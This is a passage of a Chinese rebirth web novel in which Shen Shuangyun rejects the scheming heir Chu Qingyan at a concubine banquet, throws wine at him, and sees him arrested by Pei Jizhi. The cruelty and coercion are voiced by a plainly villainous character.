这些人,受了楚清晏的折磨,大多数心理都不正常,特别爱使用暴力,如许惠儿般软弱无害的,少之又少。
更何况还是楚清晏!
女子打架,尤其是后宅女子,就是扇扇巴掌,罚个跪,最狠毒的,也就是举水盆跪碎瓷片,可楚清晏是自幼习武的男人。
不用什么花样,一脚下去,肠子都能踢裂了。
况且,他还养了那么多恶犬!
沈霜云回忆前世,打了个冷颤,轻轻攒眉,她侧过脸儿。
无论如何,在外人眼里,沈婉音就是她的妹妹,看她受罪……
沈霜云心里高兴就成了,面上在刻薄,很是不必要。
“好了好了,既然道歉了,我也就大仁大量的原谅就是,你们两个,带沈侍妾下去收拾收拾,今晚,可是她服侍世子爷的好日子,别耽误了!”
史氏皮笑肉不笑。
当着裴家和沈霜云的面儿,也没在痛打落水狗。
她是后院女主子,想整治侍妾,什么时候不行?
“是,娘娘。”
乔侧妃和周侧妃低应,叫来丫鬟,揪着沈婉音的胳膊,把她拖走了。
凉亭里,史氏笑着,像没事人般,接着招待沈霜云等人。
且……
她还觉得沈霜云识大事,通事理,对她印象还挺好,拉着她的手儿,送她见面礼。
和田玉的雕花玉佩。
沈霜云自然推辞,史氏却执意要送,“刚刚沈侍妾狂言诅咒我时,沈姑娘替我说了公道话,我心里很感激的,咱们几番聊下来,我对你,也是一见如故!”
“这玉佩不值得什么,在是尊贵,也不及我的一片心。”
“快快收下吧。”
她语气很真诚。
沈霜云:……
心情很复杂。
前世,史氏对她,咳咳咳,虽没太折磨——她不像沈婉音那么狂,对主母,她是很乖的,从来不敢招惹,但,她们两个,也没什么交际。
史氏根本看不起,哦,不,应该是说根本不看她。
卑微的,朝生夕死的侍妾,哪配入世子妃娘娘的眼呢?人家眼里只有晋王妃和中馈大权。
几个侧妃,她都瞧不起。
沈霜云身为侍妾,给主母早晚请安,都仅在院外磕个头,偶尔见着几次,基本也没好事儿。
史氏态度之高傲,言语之刻薄。
尤如利刃。
哪像眼前这个满面笑容,言语体贴,热情大方的人呢?
还跟她‘一见如故’?
简直是,是……
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“多谢世子妃娘娘的厚爱,霜云真是不敢当。”
沈霜云低声。
心里五味沉杂。
“叫什么世子妃啊?叫我史姐姐就成。”史氏笑着,热情的把玉佩塞进手里。
裴照野骄傲的扬着小下巴。
哼!
他大姐姐就是这么讨人喜欢。
史氏硬寒给沈霜云礼物,又陪她聊了好一会儿,她才起身。
这就,她还觉得不舍,“我今日见沈妹妹,真是觉得怎么亲相都不够,可惜啊,我这身子真是撑不住,不好久坐,得回去吃药了。”
“等我好了,我去见妹妹,或是,妹妹来府里找我!”
“你可千万要来啊。”
这才依依不舍的离开。
沈霜云:……
都点哑口无言,不知道说什么好了。
她沉默很久,才回头跟许惠儿说话,只是碍着裴照野,没法说的那么清楚。
她琢磨着,怎么隐晦表达呢,乔侧妃和周侧妃回来了。
她们还带着沈婉音、楚湘雅和史宏飞。
到了跟前,两人把沈婉音怼到她面前,让她欣赏了一阵儿,随后,就让许惠儿领着沈婉音,“你们去廊下候着,我们需要人服侍了,在叫你们。”
被带走‘收拾’那会儿,沈婉音不知又挨了什么,到显得老实多了。
让干什么,就干什么。
她跟着许惠儿去到廊下。
乔侧妃和周侧妃笑着,“世子妃娘娘身体不适,回去歇了,又怕沈姑娘没人陪,特特叫我们和二姑娘过来陪您说话……”
“还有史公子。”
楚湘雅拽着史宏飞,笑眯眯的上前。
裴照野皱了皱小鼻子,奇怪的瞅了史宏飞一眼。
两位侧妃和楚二姑娘就算了,三个女人过陪女眷是正常的,史宏飞一个大男人,他来干什么?
“王妃令我来陪着五公子。”
史宏飞看懂了裴照野的疑惑,一本正经的回答他。
裴照野:……
越发不解了。
史宏飞好歹是前科探花,朝廷官员,而自己呢,一个尚未及总角的孩童,哪里需要他来陪着?
好奇怪~
第84章 霜云姐姐喜欢他!!!
史宏飞,史尚尚书的嫡子,长公主的嫡孙,史氏的弟弟,楚清晏的小舅子,他至晋王府,应该是贵客,按理是要楚清晏亲自招待,跟裴九卿等人在一块儿的。
怎么……
他好像进府之后,就一直待在楚湘雅跟前,身边连个小厮都没有,还被派来陪自己一个小童?
陪?
那不都是伴当该干的事吗?
太卑微了吧!
他不觉得晋王府对他太不尊重,呃,是史氏让他来的?
她为什么要这么对弟弟啊?
裴照野偷偷瞅史宏飞,心里奇怪,面上却没动声色,反而笑嘻嘻的道:“谢谢史家哥哥,我正好无聊着呢,史家哥哥性子真好,愿意来陪我玩儿!”
史宏飞闻言笑了笑,轻轻揉了揉他的头。
眉眼间的郁色,散去不少。
沈霜云瞅他,心里叹了口气。
史氏……
的确是看不起史宏飞这个‘弟弟’。
史家的情况,也的确是有些复杂的,史氏是史尚书的原配嫡妻,长公主一母同胞的亲妹妹的女儿端砚郡主,可怜这位郡主命薄,生史氏时落下了产后风,没几个月就**。
史尚书续娶了史宏飞之母为继妻月氏。
但,史氏脾气很不好。
长公主也怜惜嫡长孙女,也很不待见月氏。
一来,月氏身份低,只是个六品小官的女儿罢了,二来,月氏是儿子亲口要娶的,两人婚前见过。
长公主觉得月氏狐媚。
三来,她早有看中的继儿媳人选,便是端砚郡主的庶妹,史氏的小姨,两家几乎有了默契。
结果,月氏横插一杠。
长公主很是不喜,但也没犟过儿子,最后妥协让月氏进门,但,史尚书守妻孝时,她给儿子纳了七、八个妾,又硬压着月氏,让她晚了三年进门,这期间,那七、八个妾,给史尚书生了四个儿子。
史氏也被她教的,觉得月氏是个狐狸精,对继母极为不喜不屑。
史尚书一个男子,哪有痴情的,三年时间,又是美貌妾室,又是娇憨庶子,他早把月氏忘的差不多了。
月氏进门后,婆婆不喜,继女不屑,小妾使尽手段,庶子遍地开花,要不是她肚皮争气,怀了坐床喜,又生下‘嫡子’史宏飞,现在恐怕都不知被挤到什么地方去了。
有了‘儿子’,月氏在长公主府站住了脚,又重新拉拢回史尚书,夫妻俩生了三子两女。
月氏很疼孩子。
可对史宏飞这个帮她站稳脚根的‘长子’,却很疏忽,尤其是史宏飞考上探花,入朝为官后,月氏对她更是疏远。
母亲都不看中的孩子,谁会在乎?
史氏毫不尊重这个弟弟,把他当成庶子那么看!
史府众人都觉得月氏是偏心幼子才会如此,但沈霜云明白……
史宏飞是女子啊。
把夫家女儿充做男子,暴露出来,就够月氏受得了,但他还有两子两女,都长大成人,哪怕漏了,也不至于被休,可史宏飞科举了,还中探花了,还当官了!
这是欺君之罪。
很要命的!
沈霜云叹息着,一眼一眼的瞅史宏飞。
一旁,一直注意着她的裴照野发现了,他……
右看看柳眉微蹙,满副少女心事的大姐姐,右瞅瞅玉树临风,温文儒雅的宏飞,心里……
极其为难。
大姐姐是,是对史探花有好感吗?
一直在看他啊。
沈霜云:是要仔细看的啊,一个女扮男装的人,又中探花,又做官,未来还会娶个男扮女装的‘郡主’,多稀奇,怎么可能忍住不看!
裴照野:大姐姐果然是喜欢史探花吧,她看史探花的眼睛得了是亮的。
沈霜云:必须啊,她好奇啊。
裴照野:啊,大姐姐开始跟史探花攀谈了!
她主动的!!
沈霜云:对啊,她想知道史宏飞和楚湘雅到哪一步了。
裴照野:啊啊啊啊!!大姐姐和史探花聊的好开心啊,她一直在笑。
沈霜云:史宏飞风度翩翩,态度温和,又博学多才,还不卖弄,让人如沐春风。
她当然开心了。
裴照野:啊啊啊啊!大姐姐跟史探花聊天,都不避嫌的。
沈霜云:她避个屁的嫌,
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史宏飞是女的,哪怕现在是男装,她根子上也是女的,潜意识又没那么紧张了。
裴照野:果然,大姐姐喜欢史探花,呜呜呜,怎么办?他有未婚妻的。
沈霜云:唉,感觉史宏飞好像知道楚湘雅是男子啊,而且,看他们的言谈互动,的确是有默契的。
难道不是被逼?
那史宏飞配楚湘雅,的确是太糟蹋了,人家史宏飞,探花之才,文采飞扬,如此优秀,楚湘雅……
下流无耻,勾搭成性,都被楚清晏的女人们玩烂了。
而且,前世史宏飞和楚湘雅成亲后,还纳了不少的妾,她是女子,这些妾不是给楚湘雅纳的吗?
沈霜云想着,心里越发替史宏飞不值。
裴照野惊的头发都竖起来了!!
啊啊啊啊,不好了,大姐姐看史探花的眼神变得怜惜了!!
为什么?
史探花没说什么啊!!就是谈了谈往日科举的而已,他都没说很辛苦,也没有抱怨。
大姐姐同情什么?
盈盈说了,一个女子开始同情男子,就是喜欢的开始!!
娘啊,这可怎么办?
二哥哥让他保护大姐姐,不被楚清晏那个变态骚扰,他做到了,但是,但是,大姐姐被别的‘变态’骚扰怎么办?
哦,不不不,史探花没有骚扰大姐姐,他也不是个变态,他很守礼的……
但,还不如是个变态呢。
变态他还能打,史探花这么温文和气,又很正常的优秀男子,他要如何处理?
裴照野的小脸,都鼓起包子,整个人又颓废又着急,却又没办法,只能?0?6着嘴儿,看大姐姐和史探花相谈甚欢!
“哈哈哈,沈姑娘,宏飞,原来你们在这里,真是让人好找。”
一道清朗的笑声传来,裴照野心里一喜。
太好了,总算有人来打断大姐姐和史探花了。
他回头去看,然后,瞬间僵硬。
楚清晏一身白衣,挥着扇子,自觉潇洒的迈着方步走来。
裴照野:……
呵呵呵,太好了。
史探花没弄走,死变态又来了。
第85章 是不是我太宠你了
比一个麻烦更让人头疼的,是两个麻烦。
楚清晏比史宏飞难搞多了。
这个死变态。
裴照野浑身寒毛都竖起来了,眼睛四处扫射。
二哥哥呢?他不是要盯死这个变态吗?为什么不见了?
沈霜云微微蹙眉。
史宏飞别过视线。
乔侧妃和周侧妃碍于身份,不好最先开口。
左右望望,没人给楚清晏搭话儿,楚湘雅眼神一闪,扬起笑脸儿,亲昵地问,“大哥,你怎么自己一个人?”
楚清晏过来,第一个唤的就是沈霜云,可沈霜云看都没看他一眼,偏偏,楚清晏还巴巴地往前凑,眼神都没离开过……
果然啊。
有意思。
楚湘雅目光闪烁,瞳孔里弥漫意趣。
史宏飞轻轻皱眉,眼里流露出隐晦的厌恶和忌惮。
“哈哈哈,偷得浮生半日闲,跟俗人应酬久了,也想来见见知己嘛。”楚清晏矜持笑着。
视线紧紧盯向沈霜云。
沈霜云蹙眉。
裴照野像个小老虎似的,两步上前,用小身子把大姐姐挡住,但……
太矮了。
就挡住个身体,脖子往上全露着。
如挡!
裴照野:……
偷偷踮起脚尖,挡住大姐姐半个脖子。
跟不踮也没什么差别啊。
该死的楚清晏,没事长那么**什么!!
裴照野委屈的小脸通红。
心里暗暗发狠,他,他,他!!
他以后一定要多多地吃肉,狠狠长高。
他特别悲愤。
那边,史飞宏眼神里对楚清晏的厌恶一闪而逝,随后,不着痕迹地往向前一步,挡在了他和沈霜云之间。
沈霜云垂眸。
楚清晏淡淡一笑,目光在楚湘雅身上打了个转儿。
楚湘雅心领神会,上前拉住史宏飞,笑盈盈的撒娇。
楚清晏又瞅乔侧妃和周侧妃。
乔侧妃脸色一僵,恨恨目光扫过沈霜云,旋即,带着周侧妃去纠缠裴照野了。
裴照野被生拉硬拽到一旁去看鱼。
当然,他心里记保护大姐姐的责任,虽然被纠缠着,眼神却一直盯着大姐姐那边儿。
只要她一喊,他马上出现。
不过……
终归是离得稍微有些距离了。
楚清晏笑吟吟行至沈霜云身侧,扫了眼裴照野,没在往前靠,待在一个很礼貌的距离,他神色柔和。
语气,却充满了压迫感。
他贪婪的目光,上下舔着沈霜云,口称,“沈姑娘今日可见着史氏了?”
“世子妃吗?自然见到了。”沈霜云淡声,“史姐姐热情开朗,很好相处的人。”
最起码,对眼下的她来说,算是好相处了。
“沈姑娘喜欢她?”楚清晏挑眉,似笑非笑,仿佛遗憾的说:“那真是可惜了,史氏天不假年,熬不了多久时日,太医说她很快就会下世,到是辜负了姑娘的喜欢。”
“不过,趁着她还在的时日,姑娘多跟她接触接触,了解些晋王府的内府也是好的。”
“免得届时,突然接手,你手忙脚乱。”
“接手?”沈霜云柳眉一挑,露出疑惑和嫌弃并存的神情,“你家内务,跟我有何关系?”
“请世子慎言,莫要胡说八道。”
“姑娘不知道?我已经向太后娘娘请旨,待史氏身死后,她老人家就会给你、我二人指婚,届时……”
楚清晏挥扇,双眼一瞬不瞬的凝视着沈霜云,像是要把她扒光了般,“霜云,你就是我的夫人,是这晋王府的女主子~”
“内务,自然要你来管。”
他语气暧昩。
沈霜云:……
脸色‘刷’的撂下来,都不是苍白,而是愤怒,她鄙视又漠然地凝视过去。
“世子爷少满嘴胡沁了!!!”
完全是光天化日下的骂人,她冷笑道:“史姐姐今日强撑病体,给你体面,帮你操持纳妾礼,她还没死,活着喘气呢,你就开始琢磨着继室了!”
“她是你的发妻,自幼嫁你,伴你七、八年的光景,你对她如此冷心冷情,待着她死,简直是狼心狗肺。”
“你这样,连人都称不上的丈夫,想我嫁人?”
“呵呵,你配吗?”
沈霜云疾言色厉。
楚清晏眼瞳微晃,面上显出些许
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瘟色,像是有些生气,可很快又消散,他端起酒杯,轻轻抿了一口,旋即又笑了。
“沈姑娘是在替史氏报不平?”
“呵呵,有意思了~”
前世,霜云入他院中,没少受史氏的气,今生倒是同仇敌忾,替她生气了?
可见时光如流水,今生前世,分外不同。
只是。
呵呵!
怎的裴寂之却是命大,那么多疯马,都没踩死他!
楚清晏眼里浮出丝阴鸷,像是沾腻的蛛网,他的目光舔上沈霜云的脸颊,并不将她的愤怒和冒犯放在心中。
几乎是纵容和宠溺的,他道:“霜云,你如今并不了解我,有些许误会,我不会怪你。”
“史氏平庸,嫁入七年无所出,我不曾休她,已是天恩。”
“如今,她自病去了,可见苍天不忍我无嗣,霜云,你是我的正缘,莫要在推辞。”
“无所出?七出无子一条,乃是妻无所出的同时,也不容纳妾,世子是没有妾吗?今儿不还纳了吗?怎的就怪了史姐姐?”
沈霜云冷笑。
楚家皇族,尤其是太后膝下的庆元帝和晋王,一脉相承的子嗣艰难。
庆元帝有一整个后宫。
晋王院里的妾侧也是不少。
楚清晏更是年纪轻轻,二、三十个的那么往屋里纳。
他们生不出孩子,能怪女人?
分明就是种儿的不行。
“我与你,没有任何缘分,更不愿嫁你这‘无情绝户’,步史姐姐的后臣~”
“她之下场,前车可鉴!”
史氏是自己病的吗?
当谁不明白呢?
况且,楚清晏算个什么东西啊,前世落他手里,那是无可奈何,今生在嫁他?
哦,不重生她跟他?
重生了,她还跟他?
那她不白重生了!
门都没有。
沈霜云冷笑。
楚清晏却真的有些气了,没有任何男人,被自己女人指着鼻子骂‘无能’,‘生不出孩子’,能不生气的。
“霜云,我真是太纵容你了。”
他的声音变冷,俊美面容也阴沉下来,“到宠得你这样放肆~”
第86章 你不懂,你失去了什么
楚清晏沉着脸儿,眼神阴冷。
“太后娘娘赐婚,容不得你放肆……”
“不容我放肆,我也放肆了。”沈霜云驳他,浑然不惧,她冷笑不止,“赐婚一说,结两姓之好,便是皇家,也没有强迫的道理。”
“我镇国公府乃是臣子,一非宗室,二非奴才,太后娘娘也不能随意把我‘配人’。”
皇家赐婚,也是有规矩的,不说是抓起笔来,想一出是一出,指谁赐谁?
大多都是臣子间早有默契,上书请帝王赐婚,全个体面,或是宗室家的子弟们,岁数到了,帝王、皇后、太后亲近垂怜,方才赐婚。
这表示的,是疼爱自家小辈。
臣子没这个待遇,这不能这样被对待!
一句话,随意就能‘配人’的,那是什么?不是主子给奴才拴婚吗?
正所谓:天子和士大夫共天下。
文武百官是庆元帝的‘臣子’,是‘君之视臣如手足,则臣视君如腹心;君之视臣如犬马,则臣视君如国人;君之视臣如土芥,则臣视君如寇仇。’
那种君臣。
不是奴才啊。
庆元帝都不会在跟臣子没有‘默契’的时候,莫名其妙的赐婚,更何况是太后?
她……
沈霜云柳眉狠狠拧眉。
楚清晏矜持一笑,欲用扇子去挑她的下巴,口称,“太后娘娘疼惜我,陛下又是孝子,我总会如愿的。”
按理,皇族不会无视臣子意愿,强行给谁赐婚。
但……
太后已经年近八旬,那个岁数的人了,她就不讲理了,谁又能奈她何?
大楚以孝治国,赐婚也不算谋逆**的大罪,庆元帝会为了沈霜云,跟亲生母亲闹掰吗?
楚清晏胸有成竹。
其实……
赐婚之事,他不该现在跟沈霜云说了,明年选秀后,直接下道旨意,最是出其不意,只是,呵呵,瞧着霜云跟前世截然不同,调皮骄傲的样子。
就有些忍不住了。
两世为人,他的纵容,全都给了霜云,偏偏这小女子,却不珍惜,如此还跟他闹脾气,真真的……
嫁过来后,就好了。
楚清晏垂眸,掩下内里嗜血的光,不,不,不,霜云是他的心爱之人,他未来儿子的母亲,不能真的伤着她,那,唉……
要委屈婉音了。
他眯了眯眼。
心里想着:待明年霜云进门,倒是可以对镇国公府‘进一步’了,有了霜云,裴寂之不会像‘惊马案’时那么幸运,毫发无伤,反倒折了自己的人手!
嗯,裴家四子,总要亡几个,方能让裴贵妃老实!
只是厉王案里,**个太子而已,裴贵妃和镇国公府就一直咬着他们不松口,那是厉王所为,跟晋王府有何关系?
他们仅是……
行了个方便而已。
楚清晏思绪纷乱,眼神甚至瞟到了,频频注意这边情况,看见他挥扇子,便要气冲冲上前的裴照野!
嗯,这小子是谢氏唯一的儿子,前世,他瘫痪后,谢氏跟镇国公离心,自请和离,镇国公府失了宣平候的助力。
这个点,倒是可以利用。
今生,若是裴家四子里有哪个造成裴照野的瘫痪,甚至是谢氏因此而死,宣平候会跟镇国公府反目成仇,被他拉拢吧!
宣平候跟大儒方知喻是至交好友,收服宣平候至麾下,也算是拉拢了方知喻,那桃李满天下的大儒为他所用,日后他登基了,行政会方便许久!
嗯,还是要快些把霜云收进房里,她今生跟谢氏母子关系极好,所以,她来动手,方便许多。
哈哈哈,他的霜云,果然争气,比之婉音强上十倍百倍。
楚清晏心里对沈霜云‘胡言’的怒气,缓缓消散。
罢子,小女子的任性,他就包容一下吧。
反正,无子之祸,跟他不相干,这个事实,霜云嫁入他府,生下他的儿子后,自然就明白了。
今生,霜云得多生几个,嗯~
五儿一女吧,也算可以了。
算是补她今日对夫主的失礼。
楚清晏的扇子,笑吟吟递到沈霜云下巴处,带着十足轻挑的意味。
沈霜云垂眉,抬手就给他打掉了,抄起桌上了酒杯,
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二话不说,照着他的脸泼过去。
辛辣的酒水,迸进眼睛里。
“啊!”
楚清晏悠然神情瞬间消失,短促地尖叫一声。
捂眼狼狈蹲身。
那边,已经站起来往过冲的裴照野,小胖脸儿露出满意。
周侧妃和乔侧妃愕然失措。
许惠儿浑身颤抖,控制不住的想笑出声来,她赶紧垂头捂脸,做出惊恐模样。
“姐夫,你……”对沈姑娘做了什么?
说什么恶心话,惹怒了人家。
史宏飞扭头,一脸不赞同地想上前。
保护沈霜云。
他那姐夫是个恶毒烂人,有女子跟他生气,泼他酒水,定然不是那女子的错。
肯定是姐夫**惹人。
“沈霜云,我是不是对你纵容太过了!!你……”
楚清晏狼狈沉容,被酒水刺激到猩红的眼睛,翻出恼意,他猛然起身,刚想去拽沈霜云的胳膊。
突地,脸颊红肿如猪,走路一瘸一拐的沈婉音,从廊下窜出来,双手张开,站到楚清晏身前,指着沈霜云,愕然失声地吼着。
“你,你,沈霜云,你怎么敢对世子爷不敬!!”
“你胆大包天!!”
“你罪该万死!!”
世子爷是未来的太子,是天下共主啊。
“沈霜云,你冒犯世子爷,太后娘娘不会放过你,陛下会赐死你的!!”
沈婉音大吼,撕扯着脸上的伤口,浸出鲜血的红,但,她却顾不上疼,心里只有喜悦!
太好了,太好了!
沈霜云疯了,她泼了世子爷的酒,当众让他丢脸,世子爷男子汉,大丈夫,肯定看重颜面,绝不会原谅她。
沈霜云在也没法勾引世子爷了。
世子爷是她一个人的,前世,他们两人的婚姻,如今沈霜云亲手斩断。
哈哈哈哈,蠢,蠢,沈霜云简直蠢**,她根本不知道,她今日的任性,导致她失去了什么!
明明,沈婉音能感觉到,世子爷以前,对沈霜云是有兴趣的,她一直都害怕,沈霜云会进门,如今……
哈哈哈哈!
第87章 楚清晏,你被逮捕了!
沈婉音猖狂的笑,脸上鲜红的巴掌印扭曲着。
看得沈霜云眼睛都疼。
“你到真是……”
记吃不记打。
沈霜云轻缓地放下酒杯,神色不动。
沈婉音高高昂头,斗志昂扬。
她要在世子爷面前,好生显显她的痴情和可贵之处。
为了保护爷的颜面,跟姐姐对峙翻脸,不顾亲情,只要爱情,不是可怜可爱到了极点?
必须把爷迷死。
周侧妃和乔侧妃面面相觑,犹豫着,不知该如何是好。
裴照野‘扒哒扒哒’地跑过来,把沈霜云护到身后,他先是转头,对着大姐姐露出个‘干得漂亮’的赞美眼神,旋即,又扭头脸来,冲楚清晏和沈婉音怒目而视。
“晋王世子,你对我大姐姐做了什么失礼举动!!”
“这是我裴府的掌珠,容不得你冒犯!”
“还有你,沈婉音,刚刚挨打没挨够,要不要我在去寻寻世子妃,请她出来教你,何为做妾的规矩?”
裴照野像个呲着牙的小老虎,虎视眈眈地面对所有,威胁到他大姐姐的存在。
沈霜云抿唇,恼怒楚清晏之余,心里有股说不清,道不明的感动。
她……
在前来祝贺世子纳妾的小宴上,泼了楚清晏一脸酒,但照野问都没问一句,就一口断定,是楚清晏对她‘失礼’,还要向他问罪。
前世,别说毫无理由地偏向她了,就是楚清晏真把她打得遍体鳞伤,**一半,沈家人都会觉得是她不够柔顺,不够卑微,讨不得爷们的欢心。
挨打是她活该。
何尝有过,不问缘由的维护!
“裴照野,你瞎了!!是沈霜云泼了世子爷的酒,是她在替镇国公府招祸,我是替你们教训她,你骂我?”
沈婉音尖叫。
“你不知好歹啊,你怎么能这样!!”
她接受不了!!
她真的接受不了!!
明明前世她回镇国公府时,全然不是这个待遇!
裴照野在沈霜云面前,是贴心的小天使,是最好的弟弟,保着她,护着她,一门心思的为她,可在自己面前,却是小魔鬼,从来没对她好过!
凭什么!
凭什么她和沈霜云要天壤之别,裴照野偏心,裴家偏心!
呜呜呜!!
沈婉音气得眼红。
“照野,我和你大姐姐之间有些误会,这是大人的事,你不懂!”楚清晏眸光阴鸷,凝视着沈霜云,心中有些气恼她的‘不识趣’。
“霜云!”他唤,“有很多事,你现在不懂,是你没有经历过,所以,我对你纵容,但我的忍耐也是有限度的。”
“本王本想好好对你,让你心中有数,但是你不识抬举,本王决定了……”
他想说:不用明年选秀了,他立刻进宫向太后请求,让她马上下旨,主子有命,无论镇国公府愿不愿意,会不会打草惊蛇,沈霜云都要嫁他!
可惜了,本来,他想先让霜云像前世一样爱上他,毕竟,惹了情爱的女子,是没有理智,也没有家族的,只要爱上他,霜云自会替他打算,遵从他的计划,挑拔裴家兄弟,为他把镇国公府覆灭,可如今……
男人的尊严不容挑衅。
霜云胆敢反抗,当众给他没脸,那就先把人娶进来,女人嘛,破了身子,用上一用,自然就驯服了。
楚清晏转身就走。
“世子爷,您去哪儿啊,等等奴奴~”
沈婉音惊声,抬步就追。
她,她这么痴情的表现,世子爷怎么没有反应啊,不对不对,不是应该立刻察觉出她的美好吗?
她去拽楚清晏的胳膊。
沈霜云看着,柳眉深深蹙起。
不对!!
楚清晏刚刚的神情,按她的经验理解,绝对没憋好心思,难道……
想想楚清晏说的那些‘混话’,赐婚什么的?他不会是想不管不顾,把老太后扔进筐里,坑她赐婚吧?
的确,镇国公府不曾请旨,太后直接赐婚,这是打脸的行为,会造成很不好的君臣影响,但……
那影响的也是庆元帝啊。
老太后那个年纪了,她就是任性,就是做错了事,谁又能奈她何?
她但凡下
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了旨,为了皇族颜面,镇国公府和裴贵妃是有可能要遵守的,尤其,她一个刚刚回府的‘野生小姐’,裴寒声和裴临渊对她对不怀好意!
不行!
沈霜云立刻起身,准备去找裴九卿商量,突地,小花园里喧闹起来,不曾出现在纳妾小宴里的晋王和晋王妃等人,急匆匆围绕着一队人马,走了进来。
那队人马穿着飞鱼服,手持利刃,气质凛然。
为首一人,面容冷峻,神情漠然,正是裴寂之。
“裴世子这是何意?今日是小儿喜事,你硬闯我晋王府,未免太过失礼!”
“王爷说得不错,什么圣旨?哪有圣旨?本王妃刚刚从宫里出来,根本没听过!”
晋王和晋王妃急声。
裴寂之全然当做没听见,大步向前走,直接拦住楚清晏,他冷声,“楚世子,大理寺查证,你跟‘惊马案’有关,圣上有旨,宣你入宫调查。”
“跟我走吧。”
惊马案?
是她和裴寂之经历的,五城兵马司的那个吗?
那件事,除了勾出滴血验亲,证明裴寂之不是裴家血脉之外,还有别的收获呢?
沈霜云停住脚步,面现惊喜之色。
天啊!!
她,她本以为裴寂之沉迷‘滴血扎弟弟’,惊马案早就放下,只杀几个楚清晏的附庸,就满足了。
没成想,居然有后招吗?
沈霜云有点兴奋了。
裴照野也凑到她跟前,睁圆两个大眼睛,握着小拳头,兴致勃勃。
兴奋不已。
沈婉音喘着粗气,满脸莫名,想往楚清晏跟前凑,周侧妃和乔侧妃感觉气氛不对,直接拽住了她,把她嘴捂了。
“呜呜呜!”
她挣扎着被按住。
楚清晏看着裴寂之,缓缓挑起眉,“惊马案,入宫调查?裴世子说笑了,此案跟小王有何关系?”
“牵扯小王,皆是诬陷。”
他做下的惊马案,涉案之人皆是心腹,被大理寺抓着的那几个,也都有把柄在他手中。
那是他按照前世记忆找来的,绝对不会出错……
第88章 裴寂之:你又不是我妹妹,怎能碰我胸膛
前世,能把镇国公府覆灭,逼得庆元帝不得不得过继,立他做太子,楚清晏是有些本事的。
虽然……
他的胜算,大多是因为年轻,也是因为心肠太狠,冷眼旁观厉王残部,害了几乎把他当成儿子看待的嫡亲大伯庆元帝!
逼得受伤的老皇帝无可奈何,为了**江山,为了国赖长君,必要立他,为他亲手除掉镇国公府和裴贵妃……
镇国公府的覆灭,多是庆元帝动手,但也有楚清晏的因素,那一向是他平生得意之事,如今,又重生一回,掌尽先机。
他利用记忆,收服了不少有用之人。
在五城兵马司做下‘惊马大案’,虽然没要了裴寂之的命,这是遗憾,但楚清晏也敢放言,那条线上的人,都对他忠心耿耿,尤其是被裴寂之抓的那几个,他们的身家性命,包括爹娘老子,都在他的庄子里‘荣养’着。
他们怎么敢背叛?
“裴大人是被人蒙蔽了吧,小王和你是朋友,怎会害你……”
楚清晏挑眉,矜持笑着。
自认成竹在胸。
然而,裴寂之丝毫没理会他的高傲,仍旧面无表情,冷声对他说:“这是陛下的命令,世子有疑问,自去陛下面前解释就是。”
“无需跟我说。”
“我跟你,陌生人而已,何谈朋友?”
跟个政敌变态做朋友?
没得恶心人。
裴寂之的面色更冷漠了,不理会围绕在他身侧,口口声声要‘进宫找太后告状’的晋王夫妻,以及拧眉,面露不悦的楚清晏。
他挥手,“来人吧,把世子带走。”
“是!”
一众兵丁,面无表情,冷血无情地上前,挟住楚清晏的胳膊,不顾他骤然变颜变色,高声喝斥着,“你们这些奴兵,好生大胆,放开本王……”的呼喝。
他们把楚清晏‘挟’走了。
晋王和晋王妃见状,气得几乎要昏过去,然而,敌对那么多年,他们也知道裴寂之的脾气,那就是块又臭又硬,除了庆元帝,谁的面子都不给的石头,他们在吵在闹,也是无用。
干脆,两人扭头就走。
进宫找太后去了。
小花园里的晋王府主子,居然只剩下了乔侧妃和周侧妃两人。
她们面面相觑,不知如何是好。
仆从们见主子们如此,也一言不发。
裴寂之沉容,转身要离开。
一旁,沈霜云眉眼微动,大步上前,赶紧拦住他,“大哥哥,我有件事要跟你说!”
裴寂之回身,垂眸看她。
神情……
很是复杂。
自从那天‘滴血验亲’,差点灭口之后,他会下意识地避开沈霜云,不想见她!
沈霜云也有默契,很少来打扰。
今日晋王府,是那回滴血验亲后,两人第一次面对面。
“你……”
“有何事?”
裴寂之沉声,目光不受控制地落到她的脸上。
她,肤色粉嫩嫩的,眉眼间染着……
不像高兴,反是点点恼意和惊惧。
怎么回事?九卿和照野不是陪她左右吗?两个人护不住沈霜云一个女子?偏让她恼怒和惊惧?
照野年纪小就算了,九卿也?也?
裴寂之目光环视,没发现二弟的身影,他剑眉锁起,心里想着:回府后,该跟二弟好生‘谈谈’了。
寒声、临渊跟霜云有矛盾,他不好插手就算了,为何晋王府里,还能让妹妹眉染愁色?
“大哥哥,刚刚楚清晏冒犯我,他跟我说了一件事……”沈霜云蹙眉,带着几分忧心,她想着怎么组织语言,把事情说清楚,又不显得自己是跟楚清晏提前纠缠!
世人偏见,一个妙龄女子,遭男人纠缠求婚,男子故是有‘君子之思’,失些风度,但女子也一定是有违‘妇道’,提前勾引的。
要不然,他怎么不缠别人?
尤其裴寂之脑子有疾,总觉得她和楚清晏有阴谋,如今这人还求婚她,简直是,简直是!!
沈霜云抿唇,她斟酌着说了一长串儿。
裴寂之耳里只听见了‘冒犯’两个了!!
楚清晏那混帐‘冒犯’沈霜云了!!
怎么冒犯的?
怪不得她生气惊惧!
该死!!
面圣之时,他定然不会让楚清晏好过!
二
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弟,也该好好练练了,文臣终归身体太弱,眼神也跟着不好了!
“……大哥哥,楚清晏是太后娘娘最疼爱的孙子……”
也是唯一一个亲孙子,太后爱他如眼珠,“……他要是真的不顾一切请旨赐婚,我怕太后被他说动,届时,圣旨颁下,咱们就被动了。”
“还是提前给贵妃娘娘提个醒儿吧!”
沈霜云小声。
裴寂之拧眉不语。
沈霜云仰头凝视他,小心分辨他的脸色,也看不出喜怒,更不知他要如何应对。
给点反应啊!!
总不至于真让楚清晏得逞吧?
她可是裴寂之‘滴血验亲’的见证人,目前唯二知道,他不是镇国公府血脉的人,裴寂之……
就算为了隐藏身份,也不该让她倒向楚清晏啊!
“大哥哥!?”
“大哥哥,你听我说话了吗?”
她忍不住伸出手指,戳了裴寂之一下。
裴寂之瞬间回神,变颜变色,他猛地向后退步,眸子睁圆。
面色凝重。
像是被谁触了逆鳞似的,仿佛气恼,然而……
耳后却是微微发烫。
正所谓:男女受授不亲。
他又不是沈霜云的亲哥哥,怎么能随意用指戳他胸膛?
“我,我听见了!”
他沉声,狠狠拧眉。
沈霜云:……
她又没说什么?是楚清晏要强娶她,也不是她自愿的,冲她发什么脾气啊?
她这个外来的庶女,不配碰高贵的皇子吗?
躲什么躲?跟她脏似的。
裴寂之他,他也只是个‘野生’的皇子而已。
沈霜云有点生气。
